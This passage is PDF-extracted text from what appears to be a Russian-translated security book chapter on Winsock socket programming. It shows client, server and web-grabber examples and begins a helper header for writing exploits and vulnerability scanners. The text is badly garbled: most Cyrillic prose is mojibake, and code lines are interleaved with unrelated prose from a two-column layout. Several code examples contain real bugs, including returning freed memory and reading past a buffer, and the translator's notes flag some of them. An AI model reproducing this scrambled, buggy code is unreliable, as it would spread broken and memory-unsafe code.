MSG_PEEK ãîâîðèò, ÷òî íóæíî ïðî÷èòàòü äàííûå, íî íå óäàëÿòü èõ èç óíè÷òîæàòü íå íóæíûå áîëåå îáúåêòû. Èíà÷å ïðèëîæåíèå áóäåò ïî-
ñèñòåìíîãî áóôåðà. Äðóãîé ôëàã MSG_OOB èñïîëüçóåòñÿ ñîâìåñòíî òðåáëÿòü áîëüøå ïàìÿòè, ÷åì íåîáõîäèìî.
ñ ïðîòîêîëîì DECnet. Îáû÷íî çàäàåòñÿ ïðîñòî çíà÷åíèå 0, òîãäà äàí-
íûå êîïèðóþòñÿ â âàø áóôåð, à èç ñèñòåìíîãî óäàëÿþòñÿ. Ôóíêöèÿ âîç-
âðàùàåò ÷èñëî ïðî÷èòàííûõ è ïîìåùåííûõ â áóôåð áàéòîâ. Îòðèöà- 1
 äàííîì ñëó÷àå ïðîùå áûëî áû âîñïîëüçîâàòüñÿ ôóíêöèåé strlen(), êîòîðàÿ âîçâðàùàåò
òåëüíîå çíà÷åíèå ñâèäåòåëüñòâóåò îá îøèáêå, íóëü – î òîì, ÷òî ïðî÷è- äëèíó ñòðîêè áåç çàâåðøàþùåãî íóëÿ. Âïðî÷åì, strlen() âû÷èñëÿåòñÿ âî âðåìÿ èñïîëíåíèÿ
ïðîãðàììû, à sizeof – âî âðåìÿ êîìïèëÿöèè, òàê ÷òî ìû ïîëó÷àåì õîòü íåáîëüøîé äà âûèã-
òàí «êîíåö ôàéëà», òî åñòü óäàëåííûé êîìïüþòåð çàêðûë ñâîé êîíåö ðûø â ïðîèçâîäèòåëüíîñòè. (Ïðèì. ïåðåâ.)
ñîåäèíåíèÿ. 2
Íå ñòîëüêî îòïðàâëåííûõ, ñêîëüêî ñêîïèðîâàííûõ â áóôåð ñîêåòà. Äàííûå ìîãóò áûòü
  ñòðîêàõ 38–45 âûçûâàåòñÿ ôóíêöèÿ send() äëÿ îòïðàâêè äàííûõ. Îíà îòïðàâëåíû ïîçäíåå. Åñëè send() âîçâðàùàåò ÷èñëî, ìåíüøåå óêàçàííîé äëèíû äàííûõ, ñëåäó-
åò ïîâòîðèòü âûçîâ, ñìåñòèâ óêàçàòåëü íà íà÷àëî íåîòïðàâëåííûõ äàííûõ è óìåíüøèâ äëèíó
òîæå ïðèíèìàåò ÷åòûðå ïàðàìåòðà è âîçâðàùàåò öåëîå ÷èñëî. Ïåðâûé îñòàòêà. (Ïðèì. ïåðåâ.)
206 Глава 4. Сокеты на платформе Windows (Winsock) Программирование клиентских приложений 207

Пример: скачивание Web!страницы 33 is_string_in("302 Object moved", output ) ||


34 is_string_in("404 Not Found", output ) ||
35 is_string_in("404 Object Not Found", output ))

с помощью WinSock 36
37
{
printf("Òàêîé ñòðàíèöû íåò!");
38 }
 ýòîì ïðèìåðå ìû ïîñòðîèì ïðîñòîé ðîáîò äëÿ ñêà÷èâàíèÿ Web-ñòðàíèöû. 39 else
Èõ ñîäåðæèìîå áóäåò âûâîäèòüñÿ íà ýêðàí. 40 {
Ïðîãðàììà îæèäàåò, ÷òî â êîìàíäíîé ñòðîêå áóäåò çàäàíî òðè àðãóìåíòà: 41 printf("%s", output);
42 }
IP-àäðåñ ñåðâåðà, íîìåð ïîðòà è èìÿ ôàéëà. Îáÿçàòåëüíûì ÿâëÿåòñÿ òîëüêî 43 return(0);
IP-àäðåñ. Åñëè ïîðò íå çàäàí, ïî óìîë÷àíèþ ïðèíèìàåòñÿ çíà÷åíèå 80, à â îò- 44 }
ñóòñòâèè èìåíè ôàéëà ñêà÷èâàåòñÿ íà÷àëüíàÿ ñòðàíèöà Web-ñåðâåðà. Ïðèëî-
æåíèå äîëæíî îòôèëüòðîâûâàòü âñå ñòðàíèöû, ñîäåðæàùèå ñîîáùåíèÿ îá
îøèáêàõ. Анализ
  ñòðîêå âêëþ÷àåòñÿ ôàéë hack.h, êîòîðûé áóäåò ïðåäñòàâëåí íèæå
Пример 4.2. Простое приложение для скачивания Web)страниц â ïðèìåðå 4.5.
1 #include <stdio.h>
  ñòðîêàõ 32–35 îòôèëüòðîâûâàþòñÿ ðàçëè÷íûå ñîîáùåíèÿ Web-ñåð-
2 #include "hack.h"
3 âåðà îá îøèáêàõ, âîçâðàùàåìûå, êîãäà èñêîìîé ñòðàíèöû íà ñåðâåðå íå
4 int main(int argc, char *argv[]) îêàçàëîñü.
5 {
6 int port = 80;
7
8
char* targetip;
Программирование
9 if (argc < 2)
10
11
{
printf("WebGrab usage:\r\n");
клиентских приложений
12 printf(" %s <TargetIP> [port]\r\n", argv[0]);
13 return(0);
Îâëàäåâ îñíîâàìè Winsock, ìîæíî ïðèñòóïàòü ê íàïèñàíèþ ïðèëîæåíèé.
14 } Ìû íà÷íåì ñ êëèåíòñêîãî ïðèëîæåíèÿ, ïîñêîëüêó îíî îáû÷íî ïðîùå ñåð-
15 âåðíîãî. Íàïèñàíèå ñåðâåðíîãî ïðèëîæåíèÿ áóäåò ïðåäìåòîì ñëåäóþùåãî
16 targetip = argv[1]; ðàçäåëà.
17 char* output;
Ïðîãðàììà Cl ientApp.exe îæèäàåò äâà àðãóìåíòà â êîìàíäíîé ñòðîêå. Ïåð-
18
19 if (argc >= 3) âûé èç íèõ îáÿçàòåëåí– ýòî ìîæåò áûòü IP-àäðåñ èëè ïîëíîñòüþ îïðåäåëåí-
20 { íîå äîìåííîå èìÿ õîñòà. Âòîðîé àðãóìåíò – íîìåð ïîðòà; åñëè æå îí íå çà-
21 port = atoi(argv[2]); äàí, òî ïî óìîë÷àíèþ ïðåäïîëàãàåòñÿ çíà÷åíèå 80. Êîãäà ìû çàïóñêàåì ïðî-
22 } ãðàììó, óêàçàâ àäðåñ õîñòà, íà êîòîðîì ðàáîòàåò Web-ñåðâåð, òî ïîëó÷àåì
23
24 if (argc >= 4)
â îòâåò åãî íà÷àëüíóþ ñòðàíèöó (ïîçæå â ýòîé ãëàâå ìû ðàñøèðèì ôóíêöèî-
25 { íàëüíîñòü, ïîçâîëèâ ñêà÷èâàòü ïðîèçâîëüíûå ñòðàíèöû ñ ñåðâåðà). Ïðîãðàì-
26 output = get_http(targetip, port, argv[3]); ìà ìîæåò ñîåäèíÿòüñÿ è ñ äðóãèìè ïîðòàìè. Íàïðèìåð, óêàçàâ ïîðò 25 (íà íåì
27 } ðàáîòàåò ïî÷òîâûé ïðîòîêîë Simple Mail Transfer Protocol (SMTP)), ìû ïîëó-
28 else ÷èì â îòâåò øàïêó, ñîäåðæàùóþ èíôîðìàöèþ î ñåðâåðå. Íåêîòîðûå ñëóæáû,
29 {
30 output = get_http(targetip, port, "/");
íàïðèìåð, Telnet, ðàáîòàþùàÿ íà ïîðòó 23, âîçâðàùàþò, íà ïåðâûé âçãëÿä,
31 } «ìóñîð», íî ýòî òîëüêî êàæåòñÿ – ïðîñòî Telnet òàêèì îáðàçîì ïðåäëàãàåò
32 if( is_string_in("Error 40", output ) || ââåñòè èìÿ è ïàðîëü.
208 Глава 4. Сокеты на платформе Windows (Winsock) Программирование клиентских приложений 209

Пример 4.3. Клиентское TCP)приложение1 41 exit(1);


1 #include <stdio.h> 42 }
2 #include <winsock2.h> 43 memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
3 44 sock.sin_family = AF_INET;
4 #pragma comment(lib,"ws2_32.lib") 45 sock.sin_port = htons( port );
5 #define STRING_MAX 1024 46 if ( (connect(MySock, (struct sockaddr *)&sock, sizeof (sock) )))
6 #define MAX 64000 47 {
7 char *client_send(char *targetip, int port); 48 printf("Íå ìîãó ñîåäèíèòüñÿ ñ õîñòîì.\n");
8 { 49 closesocket(MySock);
9 WSADATA wsaData;
50 WSACleanup();
10 WORD wVersionRequested;
51 exit(1);
52 }
11 struct hostent pTarget;
53 char *recvString = new char[MAX];
12 struct sockaddr_in sock;
54 int nret;
13 SOCKET MySock;
55 nret = recv(MySock, recvString, MAX + 1, 0);
14 wVersionRequested = MAKEWORD(2, 2);
56 char *output= new char[nret];
15
57 strcpy(output, "");
16 if (WSAStartup(wVersionRequested, &wsaData) < 0)
58 if (nret == SOCKET_ERROR)
17 {
59 {
18 printf("################# ÎØÈÁÊÀ! ##############\n");
60 printf("Íåóäà÷íàÿ ïîïûòêà ïîëó÷èòü äàííûå. \n");
19 61 }
20 printf("Âàøà âåðñèÿ ws2_32.dll óñòàðåëà.\n");
62 else
21 printf("Ñêà÷àéòå è óñòàíîâèòå áîëåå ñâåæóþ\n");
63 {
22 printf("âåðñèþ ws2_32.dll.\n");
64 strncat(output, recvString, nret);
23 65 delete [ ] recvString;
24 WSACleanup(); 66 }
25 exit(1); 67 closesocket(MySock);
26 } 68 WSACleanup();
27 MySock = socket(AF_INET, SOCK_STREAM, 0); 69 return (output);
28 if(MySock==INVALID_SOCKET) 70 delete [ ] output;
29 { 71 }
30 printf("Îøèáêà ñîêåòà!\r\n"); 72 int main(int argc, char *argv[])
31 73 {
32 closesocket(MySock); 74 int port = 80;
33 WSACleanup(); 75 char* targetip;
34 exit(1); 76
35 } 77 if (argc < 2)
36 if ((pTarget = gethostbyname(targetip)) == NULL) 78 {
37 { 79 printf("ClientApp usage:\r\n");
38 printf("Íå óäàëîñü ðàçðåøèòü èìÿ %s, ïîïðîáóéòå åùå ðàç.\n", 80 printf(" %s <TargetIP> [port]\r\n", argv[0]);
targetip); 81 return(0);
39 closesocket(MySock); 82 }
40 WSACleanup(); 83 targetip = argv[1];
84 if (argc >= 3)
85 {
* Ïðîãðàììà íàïèñàíà íåêîððåêòíî. Îíà íèêîãäà íå ïðî÷òåò ñòðàíèöó ñ Web-ñåðâåðà, ïî- 86 port = atoi(argv[2]);
ñêîëüêó íå ïîñûëàåò åìó çàïðîñà (ôóíêöèÿ send() íå âûçûâàåòñÿ). Êðîìå òîãî, ïàìÿòü, âû- 87 }
äåëåííàÿ ïîä ìàññèâ output â ñòðîêå 56, íèêîãäà íå îñâîáîæäàåòñÿ, òàê êàê ïðåäëîæåíèå,
â êîòîðîì àâòîð õîòåë åå îñâîáîäèòü (ñòðîêà 70), íàõîäèòñÿ ïîñëå âîçâðàòà èç ôóíêöèè. Âïðî- 88 printf("%s", client_send(targetip, port) );
÷åì, êîå-êàê ïðîãðàììà ðàáîòàòü áóäåò: ñî ñëóæáàìè SMTP è Telnet îíà ñìîæåò ñîåäèíèòüñÿ è 89 return(0);
äàæå ïîëó÷èòü îò íèõ îòâåò (Ïðèì. ïåðåâ.) 90 }
210 Глава 4. Сокеты на платформе Windows (Winsock) Программирование серверных приложений 211

Анализ   ñòðîêå 43 ïîëó÷åííûé IP-àäðåñ êîïèðóåòñÿ â ñòðóêòóðó sockaddr_in.


 Â ñòðîêàõ 44–45 ìû çàïîëíÿåì îñòàëüíûå ïîëÿ ýòîé ñòðóêòóðû: àäðåñ-
  ñòðîêàõ 1–6 âêëþ÷àþòñÿ çàãîëîâî÷íûé ôàéëû, çàäàåòñÿ êîìïîíîâêà íîå ñåìåéñòâî è íîìåð ïîðòà.
ñ áèáëèîòåêîé ws2_32.l ib è îïðåäåëÿþòñÿ äâå êîíñòàíòû. Êîíñòàíòà  Â ñòðîêàõ 46–52 ïðîèçâîäèòñÿ ïîïûòêà óñòàíîâèòü ñîåäèíåíèå ñ óêà-
STRING_MAX çàäàåò ìàêñèìàëüíóþ äëèíó ñòðîêè çàïðîñà. Çíà÷åíèå çàííûì IP-àäðåñîì è ïîðòîì. Ôóíêöèè connect() ïåðåäàåòñÿ äåñêðèïòîð
1024 äîñòàòî÷íî äëÿ «íîðìàëüíûõ» çàïðîñîâ. Íî ýêñïëîéòû è óòèëèòû ðàíåå ñîçäàííîãî ñîêåòà (MySock), óêàçàòåëü íà ñòðóêòóðó, ñîäåðæàùóþ
äëÿ ïðîâåðêè íàëè÷èÿ óÿçâèìîñòåé, îñîáåííî â ðåçóëüòàòå ïåðåïîëíå- àäðåñíóþ èíôîðìàöèþ (sock), à òàêæå äëèíà ýòîé ñòðóêòóðû.
íèÿ áóôåðà, ÷àñòî ïîñûëàþò ãîðàçäî áîëåå äëèííûå çàïðîñû. Êîíñòàíòà   ñòðîêàõ 53 è 54 îáúÿâëÿþòñÿ ïåðåìåííûå äëÿ õðàíåíèÿ âîçâðàùåí-
MAX îïðåäåëÿåò ìàêñèìàëüíóþ äëèíó îòâåòà, êàê ïðàâèëî HTML- íîé ñåðâåðîì èíôîðìàöèè è ÷èñëà ïðî÷èòàííûõ áàéòîâ.
ñòðàíèöû. Îíà ãîðàçäî áîëüøå STRING_MAX, íî è òàêîãî áóôåðà ìî-   ñòðîêå 55 âûçûâàåòñÿ ôóíêöèÿ recv(), êîòîðàÿ ÷èòàåò äàííûå ñ ñåðâåðà.
æåò íå õâàòèòü, òîãäà áóäåò âûäàíî ñîîáùåíèå îá îøèáêå.   ñòðîêàõ 56 è 57 ìû âûäåëÿåì èç êó÷è ïàìÿòü1, â êîòîðóþ áóäóò ñêîïè-
  ñòðîêå 7 íà÷èíàåòñÿ îïðåäåëåíèå ôóíêöèè client_send(), îñóùåñòâëÿ- ðîâàíû ïîëó÷åííûå îò ñåðâåðà äàííûå. Äàëåå ïðîâåðÿåòñÿ, íîðìàëüíî
þùåé îòïðàâêó è ïîëó÷åíèå äàííûõ. Îíà ïðèíèìàåò äâà ïàðàìåòðà: IP- ëè çàâåðøèëàñü îïåðàöèÿ recv(), â ñëó÷àå îøèáêè íà ýêðàí âûâîäèòñÿ
àäðåñ è íîìåð ïîðòà, ñ êîòîðûì ìû õîòèì ñîåäèíèòüñÿ. Ôóíêöèÿ âîç- ñîîáùåíèå. Èíà÷å ïîëó÷åííûé îòâåò êîïèðóåòñÿ â áóôåð output* *. (Åñëè
âðàùàåò óêàçàòåëü íà áóôåð, ñîäåðæàùèé ïîëó÷åííûé îò ñåðâåðà îòâåò. ýòîò øàã îïóñòèòü, òî ïîñêîëüêó áóôåð recvString íå áûë ïðåäâàðèòåëü-
  ñòðîêå 9 îáúÿâëÿåòñÿ îáúåêò òèïà WSADATA, êîòîðûé âçàèìîäåé- íî èíèöèàëèçèðîâàí, à ïîëó÷åííàÿ ñòðîêà ìîæåò îêàçàòüñÿ êîðî÷å
ñòâóåò ñ áèáëèîòåêîé ws2_32.dll. MAX, òî ïðè ïå÷àòè ðåçóëüòàòà áóäåò âûâåäåíà íå òîëüêî ýòà ñòðîêà, íî
 Â ñòðîêå 10 îáúÿâëåíà ïåðåìåííàÿ wVersionRequest òèïà WORD, êîòîðîé è ìóñîð, ñëåäóþùèé çà íåé).
ìû ïîçæå âîñïîëüçóåìñÿ äëÿ ïðîâåðêè íîìåðà âåðñèè ws2_32.dll.   ñòðîêàõ 67–70 îñâîáîæäàþòñÿ çàõâà÷åííûå ïðîãðàììîé ðåñóðñû è
 Â ñòðîêå 11 îáúÿâëåíà ïåðåìåííàÿ òèïà struct hostent, íåîáõîäèìàÿ äëÿ âîçâðàùàåòñÿ ðåçóëüòàò.
ðàçðåøåíèÿ èìåíè õîñòà.  Â ñòðîêàõ 72–90 îáúÿâëÿþòñÿ ïåðåìåí7íûå äëÿ õðàíåíèÿ àäðåñà è íîìå-
 Â ñòðîêå 12 îáúÿâëåíà ïåðåìåííàÿ òèïà struct sockaddr_in, â êîòîðîé áó- ðà ïîðòà óäàëåííîé ìàøèíû. Ðàçáèðàþòñÿ àðãóìåíòû, çàäàííûå â êî-
äåò õðàíèòüñÿ àäðåñíàÿ èíôîðìàöèÿ äëÿ ñîêåòà. ìàíäíîé ñòðîêå, âûçûâàåòñÿ ôóíêöèÿ client_send() è ïîëó÷åííûé îò íåå
  ñòðîêå 13 îáúÿâëåíà ïåðåìåííàÿ òèïà SOCKET, â êîòîðóþ ìû ïîçæå ðåçóëüòàò ïå÷àòàåòñÿ íà ýêðàíå.
ïîìåñòèì äåñêðèïòîð ñîêåòà.
 Â ñòðîêàõ 16–26 èíèöèàëèçèðóåòñÿ îáúåêò WSADATA è ïðîâåðÿåòñÿ,
÷òî óñòàíîâëåíà ïîäõîäÿùàÿ âåðñèÿ ws2_32.dll. Åñëè âñå õîðîøî, ôóíê- Программирование
öèÿ WSAStartup() âåðíåò 0, â ïðîòèâíîì ñëó÷àå – îòðèöàòåëüíîå ÷èñëî.
 ïðîãðàììàõ ïîñëîæíåå èíîãäà ïðèõîäèòñÿ âûïîëíÿòü áîëåå òùà-
òåëüíûé àíàëèç êîäà îøèáêè, íî â äàííîì ñëó÷àå âîçâðàò îòðèöàòåëü-
серверных приложений
íîãî çíà÷åíèÿ îçíà÷àåò, ñêîðåå âñåãî, ÷òî âåðñèÿ ws2_32.dll íå ãîäèòñÿ. Ñåðâåðíîå ïðèëîæåíèå âî ìíîãîì ïîõîæå íà êëèåíòñêîå: îáà ïîñûëàþò è
  ñòðîêå 27 ñîçäàåòñÿ ñîêåò. Ïàðàìåòð AF_INET îçíà÷àåò, ÷òî ìû áóäåì ïðèíèìàþò äàííûå. Ðàçíèöà ñîñòîèò â òîì, êàê óñòàíàâëèâàåòñÿ ñîåäèíåíèå.
ðàáîòàòü ñ ïðîòîêîëàìè ñåòè Èíòåðíåò. Ñëåäóþùèé ïàðàìåòð ìîæåò Ïî ñâîåé ïðèðîäå ñåðâåð äîëæåí ïàññèâíî æäàòü, ïîêà íå ïðèäåò çàïðîñ îò
ïðèíèìàòü îäíî èç äâóõ çíà÷åíèé: SOCK_STREAM îáû÷íî îçíà÷àåò êëèåíòà. Ïîñëå òîãî êàê çàïðîñ áóäåò ïðèíÿò, ñåðâåð ìîæåò ïîëüçîâàòüñÿ
ïðîòîêîë TCP, à SOCK_DGRAM – ïðîòîêîë UDP. Ñëåäîâàòåëüíî, ÷òîáû òåìè æå ôóíêöèÿìè äëÿ ðàáîòû ñ ñîêåòàìè, ÷òî è êëèåíò. Â ïðèìåðå 4.4 äå-
ñîçäàòü TCP-ñîåäèíåíèå, íóæíî çàäàòü çíà÷åíèå SOCK_STREAM. Äà- ìîíñòðèðóåòñÿ ïðîãðàììà, ðàáîòàþùàÿ â ðîëè ñåðâåðà.
ëåå ìû ïðîâåðÿåì, óñïåøíî ëè áûë ñîçäàí ñîêåò.
1
  ñòðîêå 36 ïåðåìåííàÿ pTarget óêàçûâàåò íà ñòðóêòóðó, â êîòîðîé õðà- Îñîáåííî õîðîøî ýòî áóäåò âûãëÿäåòü, åñëè recv() âåðíåò îòðèöàòåëüíîå çíà÷åíèå. Ïðè
ïîïûòêå âûäåëèòü ïàìÿòü ïîä ìàññèâ îòðèöàòåëüíîé äëèíû ïðèëîæåíèå íåìåäëåííî «âû-
íÿòñÿ ðåçóëüòàòû ðàçðåøåíèÿ èìåíè õîñòà. Åñëè ýòî ñäåëàòü íå óäàëîñü, ïîëíèò íåäîïóñòèìóþ îïåðàöèþ è áóäåò çàêðûòî». (Ïðèì. ïåðåâ.)
2
pTarget áóäåò ðàâíà NULL, â òàêîì ñëó÷àå ìû çàâåðøàåì ïðîãðàììó.  êîòîðîì íå õâàòàåò ìåñòà äëÿ çàâåðøàþùåãî íóëÿ. Âîò òàê è âîçíèêàåò ïåðåïîëíåíèå
áóôåðà. (Ïðèì. ïåðåâ.)
212 Глава 4. Сокеты на платформе Windows (Winsock) Программирование серверных приложений 213

Пример 4.4. Серверное TCP)приложение 49 closesocket(MyServer);


1 #include <stdio.h> 50 WSACleanup();
2 #include <winsock2.h> 51 return (FALSE);
3 52 }
4 #pragma comment (lib, "ws2_32.lib") 53 nret = listen(MyServer, MAX_CON);
5 54
6 #define STRING_MAX 2048 55 if (nret == SOCKET_ERROR)
7 #define MAX 640000 56 {
8 #define MAX_CON 16 57 nret = WSAGetLastError();
9 bool server(int port, char* send_string) 58 printf("Îøèáêà listen\n");
10 { 59
11 WSADATA wsaData; 60 closesocket(MyServer);
12 WORD wVersionRequested; 61 WSACleanup();
13 SOCKET MyServer; 62 return (FALSE);
14 int nret; 63 }
15 64 SOCKET MyClient;
16 wVersionRequested = MAKEWORD(2, 2); 65 MyClient = accept(MyServer, NULL, NULL);
17 if (WSAStartup(wVersionRequested, &wsaData) < 0) 66
18 { 67 if (MyClient == INVALID_SOCKET)
19 printf("################# ÎØÈÁÊÀ!#######################\n"); 68 {
20 printf("Âàøà âåðñèÿ ws2_32.dll ñëèøêîì ñòàðà.\n"); 69 nret = WSAGetLastError();
21 printf("Çàéäèòå íà ñàéò Microsoft è ñêà÷àéòå áîëåå ñâåæóþ\n"); 70 printf("Îøèáêà accept\n");
22 printf("âåðñèþ ws2_32.dll.\n"); 71 closesocket(MyServer);
23 72 closesocket(MyClient);
24 WSACleanup(); 73 WSACleanup();
25 return (FALSE); 74 return (FALSE);
26 } 75 }
27 76 char *sendStr = new char[STRING_MAX];
28 MyServer = socket(AF_INET,SOCK_STREAM,0); 77 strcpy(sendStr, "");
29 78 strcpy(sendStr, send_string);
30 if (MyServer == INVALID_SOCKET) 79
31 { 80 nret = send(MyClient, sendStr, strlen(sendStr)-1, 0);
32 nret = WSAGetLastError(); 81
33 printf("Îøèáêà ïðè ñîçäàíèè ñîêåòà.\n"); 82 if (nret == SOCKET_ERROR)
34 closesocket(MyServer); 83 {
35 WSACleanup(); 84 printf("Îøèáêà ïðè îòïðàâêå ñîîáùåíèÿ")
36 return (FALSE); 85 }
37 } 86 else
38 struct sockaddr_in serverInfo; 87 {
39 serverInfo.sin_family = AF_INET; 88 printf("Ñîîáùåíèå îòïðàâëåíî. \n");
40 serverInfo.sin_addr.s_addr = INADDR_ANY; 89 }
41 serverInfo.sin_port = htons(port); 90
42 nret = bind(MyServer, (struct sockaddr *)&serverInfo, 91 delete [ ] sendStr;
sizeof (serverInfo) ); 92 closesocket(MyClient);
43 93 closesocket(MyServer);
44 if (nret == SOCKET_ERROR) 94
45 { 95 WSACleanup();
46 nret = WSAGetLastError(); 96 return (TRUE);
47 printf("Îøèáêà bind \n"); 97 }
48 98 int main(int argc, char *argv[])
214 Глава 4. Сокеты на платформе Windows (Winsock) Написание эксплойтов и программ для проверки наличия уязвимостей 215
99 { ñûâàåòñÿ êîíñòàíòà INADDR_ANY, îçíà÷àþùàÿ, ÷òî ñåðâåð ãîòîâ
100 int port = 777;
ïðèíèìàòü ñîåäèíåíèÿ íà ëþáîì èç ñåòåâûõ èíòåðôåéñîâ ëîêàëüíîãî
101 char* targetip;
102 char* output = NULL; êîìïüþòåðà.
103  Â ñòðîêå 41 ñîêåò ïðèâÿçûâàåòñÿ ê àäðåñó ëîêàëüíîãî êîìïüþòåðà ñ ïî-
104 if (argc < 2) ìîùüþ ôóíêöèè bind().
105 {
106 printf("ServerApp usage:\r\n");
  ñòðîêå 52 ñåðâåð íà÷èíàåò ïðîñëóøèâàòü ñâîé ïîðò.
107 printf(" %s [port]\r\n", argv[0]);  Â ñòðîêàõ 64–75 ñåðâåð ïðèíèìàåò ïîñòóïèâøèé çàïðîñ è ñîçäàåò íî-
108 return(0); âûé ñîêåò (MyClient) äëÿ îáìåíà äàííûìè ñ êëèåíòîì. À èñõîäíûé ñîêåò
109 } ìîæíî ïðîäîëæàòü èñïîëüçîâàòü äëÿ ïðèåìà íîâûõ ñîåäèíåíèé.
110
111 targetip = argv[1];  Â ñòðîêå 80 âûçûâàåòñÿ ôóíêöèÿ send(), êîòîðàÿ îòïðàâëÿåò äàííûå.
112 if (argc >= 2)  ñëó÷àå óñïåõà îíà âåðíåò ÷èñëî îòïðàâëåííûõ áàéòîâ, â ïðîòèâíîì
113 { ñëó÷àå – ïðèçíàê îøèáêè (îòðèöàòåëüíîå ÷èñëî).
114
115 }
port = atoi(argv[1]);
 Â ñòðîêàõ 98–130 îïðåäåëÿåòñÿ ôóíêöèÿ main(), êîòîðàÿ ðàçáèðàåò àðãó-
116 ìåíòû, çàäàííûå â êîìàíäíîé ñòðîêå, è ïåðåäàåò èõ ôóíêöèè server().
117 bool up = TRUE; Ñåðâåð ïàññèâíî îæèäàåò çàïðîñà íà ñîåäèíåíèå è, ïîëó÷èâ åãî, îò-
118 char sendStr[STRING_MAX]; ïðàâëÿåò â îòâåò ñòðîêó Hello World. Îí áóäåò ïðîäîëæàòü ðàáîòàòü,
119
120 strcpy(sendStr, "\r\n Hello World! \r\n\r\n"); ïîêà íå ïðîèçîéäåò îøèáêà â ôóíêöèè server().
121
122 printf("Ñåðâåð çàïóñêàåòñÿ...\n");
123
124 do
Написание эксплойтов и программ
125 {
126 up = server(port, sendStr);
127 } while(up);
для проверки наличия уязвимостей
128
129 return(0); Îñâîèâøèñü ñ ïðîãðàììèðîâàíèåì íà îñíîâå Winsock 2, ìîæíî ïðèñòóïàòü
130} ê íàïèñàíèþ ýêñïëîéòîâ è ïðîãðàìì äëÿ ïðîâåðêè íàëè÷èÿ óÿçâèìîñòåé.
Ïðè ýòîì õîðîøî áû èìåòü â ñâîåì ðàñïîðÿæåíèè íàáîð ïðîòåñòèðîâàííûõ
Ñîáðàâ ïðîãðàììû ClientApp.exe è ServerApp.exe, âû ìîæåòå ïðîòåñòèðî- ôóíêöèé, êîòîðûå ìîæíî ïîâòîðíî èñïîëüçîâàòü â ðàçíûõ ïðîåêòàõ. Ïðèâå-
âàòü èõ ñîâìåñòíóþ ðàáîòó. Îòêðîéòå äâà îêíà êîìàíä. Â ïåðâîì çàïóñòèòå äåííûé íèæå «ïóñòîé» ýêñïëîéò ñîñòîèò èç äâóõ ôàéëîâ: empty.cpp è hack.h. Íå
ServerApp.exe íà ëþáîì ïîðòó. Åñëè âû íå óêàæåòå íîìåð ïîðòà, ïî óìîë÷à- âñå ñîäåðæàùèåñÿ â íèõ ôóíêöèè îòíîñÿòñÿ ê ðàáîòå ñ ñîêåòàìè, íî òàê èëè
íèþ áóäåò ïðèíÿòî çíà÷åíèå 777. Ïðîãðàììà ñîîáùèò î çàïóñêå è áóäåò èíà÷å îêàçûâàþòñÿ ïîëåçíûìè ïðè íàïèñàíèè ðåàëüíûõ ýêñïëîéòîâ èëè ñêà-
îæèäàòü çàïðîñà íà ñîåäèíåíèå. Âî âòîðîì îêíå çàïóñòèòå ClientApp.exe, çà- íåðîâ óÿçâèìîñòåé. Âñå ôóíêöèè, êðîìå îäíîé, íàõîäÿòñÿ â çàãîëîâî÷íîì
äàâ â êà÷åñòâå ïåðâîãî àðãóìåíòà localhost, à â êà÷åñòâå âòîðîãî – íîìåð ïîðòà, ôàéëå hack.h, êîòîðûé âêëþ÷àåòñÿ â èñõîäíûé òåêñò ðåàëüíûõ ýêñïëîéòîâ,
âûáðàííûé äëÿ ñåðâåðà. Íàæìèòå EnterEnter. Â îêíå êëèåíòà âû äîëæíû óâèäåòü ïðèâåäåííûõ äàëåå â ýòîé ãëàâå.
ñòðîêó Hello World!, à â îêíå ñåðâåðà ñòðîêó «Ñîîáùåíèå îòïðàâëåíî». Ñåðâåð
ïðîäîëæèò ðàáîòó è áóäåò îæèäàòü ñëåäóþùåãî çàïðîñà íà ñîåäèíåíèå. ×òî- Пример 4.5. Функции в файле hack.h
áû îñòàíîâèòü ñåðâåð, íàæìèòå Ctrl+C
Ctrl+C. 1 #include <winsock2.h>
2
3 #pragma comment(lib,"ws2_32.lib")
Анализ 4 #define STRING_MAX 65536
5 #define MAX 8388608
 Â ñòðîêå 38 îáúÿâëåíà ïåðåìåííàÿ serverInfo äëÿ õðàíåíèÿ àäðåñíîé èí- 6 char *junk(char *input, int repeat)
ôîðìàöèè î ñåðâåðå. Â ïîëå sin_addr.s_addr ñòðóêòóðû sockaddr_in çàïè- 7 {
216 Глава 4. Сокеты на платформе Windows (Winsock) Написание эксплойтов и программ для проверки наличия уязвимостей 217
8 int maxSize; 57 {
9 char *junkString = new char[STRING_MAX]; 58 printf("\nÍå óäàëîñü ðàçðåøèòü èìÿ %s, ïîïðîáóéòå åùå ðàç.\n.\n",
10 strcpy(junkString, ""); targetip);
11 59
12 if( repeat < STRING_MAX && repeat > 0 && strlen(input) != 0 60 closesocket(MySock);
13 && strlen(input) <= (STRING_MAX – 1)) 61 WSACleanup();
14 { 62 return (FALSE);
15 maxSize = (STRING_MAX – 1)/strlen(input); 63 }
16 for(int count = 0; count < repeat 64 memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
17 && count < maxSize; count++) 65 sock.sin_family = AF_INET;
18 { 66 sock.sin_port = htons((USHORT)port);
19 strcat(junkString, input); 67 if ( (connect(MySock, (struct sockaddr *)&sock, sizeof (sock) )))
20 } 68 {
21 } 69 closesocket(MySock);
22 else 70 WSACleanup();
23 { 71
24 printf("Íåêîððåêòíûå ïàðàìåòðû! \n"); 72 return (FALSE);
25 strcpy(junkString,"—FAILURE—"); 73 }
26 } 74 else
27 delete [] junkString; 75 {
28 return (junkString); 76 closesocket(MySock);
29 } 77 WSACleanup();
30 bool is_up(char *targetip, int port) 78 return (TRUE);
31 { 79 }
32 WSADATA wsaData; 80 }
33 WORD wVersionRequested; 81 bool is_string_in(char *needle, char *haystack)
34 struct hostent target_ptr; 82 {
35 struct sockaddr_in sock; 83 char *loc = strstr(haystack, needle);
36 SOCKET MySock; 84 if( loc != NULL )
37 wVersionRequested = MAKEWORD(2, 2); 85 {
38 if (WSAStartup(wVersionRequested, &wsaData) < 0) 86 return(TRUE);
39 { 87 }
40 printf("############ÎØÈÁÊÀ!####################\n"); 88 else
41 printf("Âàøà âåðñèÿ ws2_32.dll ñëèøêîì ñòàðà.\n"); 89 {
42 printf("Çàéäèòå íà ñàéò Microsoft è ñêà÷àéòå áîëåå ñâåæóþ\n"); 90 return(FALSE);
43 printf("âåðñèþ ws2_32.dll.\n"); 91 }
44 92 }
45 WSACleanup(); 93 char *replace_string(char *new_str, char *old_str, char *whole_str)
46 return (FALSE); 94 {
47 } 95 int len = strlen(old_str);
